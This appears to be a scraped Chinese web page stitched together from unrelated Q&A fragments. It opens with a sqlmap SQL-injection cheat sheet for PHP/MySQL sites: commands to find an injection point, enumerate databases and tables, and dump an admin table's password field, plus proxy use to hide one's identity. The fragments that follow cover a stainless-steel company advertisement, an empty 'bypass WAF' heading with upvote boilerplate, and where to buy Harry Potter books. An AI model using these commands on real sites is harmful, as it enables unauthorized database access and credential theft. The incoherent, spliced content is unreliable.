sqlmap是一个灰常强大的sql注入检测与辅助工具，但是由于没有图形界面，基本上用起来比较麻烦，导致很多人可能宁愿用havij或者是pangolin也不愿意麻烦去翻帮助界面，我自己也是把很多语句贴到了一个记事本里面用，其实真正用起来也就5,6句，也不会太复杂，下文以php+mysql为例：
检查注入点sqlmap -u
列数据库信息sqlmap -u–dbs
指定库名列出所有表sqlmap -u-D vhost48330 –tables
指定库名表名列出所有字段sqlmap -u-D vhost48330 -T admin –columns
指定库名表名字段dump出指定字段sqlmap -u-D vhost48330 -T admin -C ac,id,password –dump
有几个参数可能会用到，直接加在***面就可以了，更多详细参数见官方文档：
–Cookie=COOKIE 在需要登录的地方，需要登录后的cookie
–proxy=”″ 使用HTTP代理隐藏自己的身份，比如使用goagent等
–sql-query=QUERY 执行一个sql语句，不一定支持
过程的几张图如下：
广东荣盛不锈钢板好吗
广东荣盛成立于1992年，是主营工程、家装五金和自动门禁系统的大中型企业集团。 下属的公司有《荣盛达不锈钢材料公司》。 公司主营不锈钢材料，材质包含201 202 304 430 等，经过十多年良性经营，现已是一家集压延、开平磨砂、磨8k不锈钢彩色板及抗指纹处理等一条龙服务的实力性公司。 近年来由于广大客户的要求不断提高，荣盛企业本着“服务至上”为企业宗旨率先在最大的不锈钢基地佛山澜石镇投入巨资引进全球一流的激光切割系统、数控冲床和折弯机等大型原装进口设备，致力于钣金加工，力争打造出高质量、一条龙服务的钣金加工企业《佛山荣盛达精密钣金有限公司》荣盛达精密钣金（激光切割）业务介绍如下：激光设备：进口3000w大功率（1500*3000）毫米工作台切割厚度：碳钢（≤20毫米） 不锈钢（≤12毫米）铝板（≤ 8毫米） 铜 板（≤ 3毫米）切割工艺：精度（≤0.08毫米） 缝隙（≤0.09毫米）所以,应该不错,值得信赖.
如何使用SqlMap绕过WAF
WAF（web应用防火墙）逐渐成为安全解决方案的标配之一。 正因为有了它，许多公司甚至已经不在意web应用的漏洞。 遗憾的是，并不是所有的waf都是不可绕过的！你的采纳是我前进的动力，记得好评和采纳，答题不易，互相帮助，手机提问的朋友在客户端右上角评价点（满意）即可.如果你认可我的回答，请及时点击（采纳为满意回答）按钮！！
武汉地区有全套的哈利波特全集的正版书籍吗
当然有，新华书店（汉口新华路）一定有卖的。 价格肯定比较贵还有就是在（马场角）图书大世界也有，但你得学会分辨正版和盗版，还可以打八到九折。 另一个是在当当网上肯定有卖的，现在好像不收邮费，打的折应该更多，正版肯定有的，但要自己找到那种精美而且价平装高的书。 应该是以上几个地方中最便宜的，就是运过来稍慢一点。
发表评论